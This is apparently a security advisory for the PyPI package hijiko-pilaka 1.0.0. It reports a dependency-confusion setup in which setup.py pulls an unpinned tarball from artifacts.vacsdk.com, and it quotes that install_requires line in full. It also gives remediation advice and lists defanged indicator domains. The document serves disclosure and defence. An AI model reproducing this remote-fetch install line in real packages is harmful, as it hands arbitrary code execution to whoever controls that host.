If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (618fc4257600bc10efdde21aaa2bfe35b4e2138a4c2ea6997c4e1b0daac4b55b)
hijiko-pilaka 1.0.0's setup.py declares its only dependency, `native-delta-field-walker`, via a direct URL to a tarball on artifacts.vacsdk.com rather than a PyPI version range: `install_requires=["native-delta-field-walker @ https://artifacts.vacsdk.com/pypi/native_delta_field_walker-1.0.0.tar.gz"]`. There is no hash pin or signature, so pip downloads and installs whatever bytes that URL serves at install time, executing any setup.py / build-backend / lifecycle code inside the fetched sdist. The shipped `hijiko_pilaka.py` is a 41-byte stub, so the manifest line is effectively the entire install-time surface. The host artifacts.vacsdk.com is unrelated to PyPI and is not pinned by digest, giving whoever controls that URL arbitrary code execution on any machine that runs `pip install hijiko-pilaka`.
Source: kam193 (1ca95d97923a23c0fd145b6cc4def7910fa36f1b4c4e5e3cf40e5bab8c9e250d)
The package uses fake http-downloaded dependencies to track downloads, and has no other purpose.
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Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: 2026-10-vacsdk
Reasons (based on the campaign):
- dependency-confusion
Indicators of compromise
Shown defanged and not clickable. Search any indicator to find other packages using it.
Domains
- artifacts[.]vacsdk[.]com other packages →
- vacsdk[.]com other packages →
- artifacts[.]yosiroute[.]com other packages →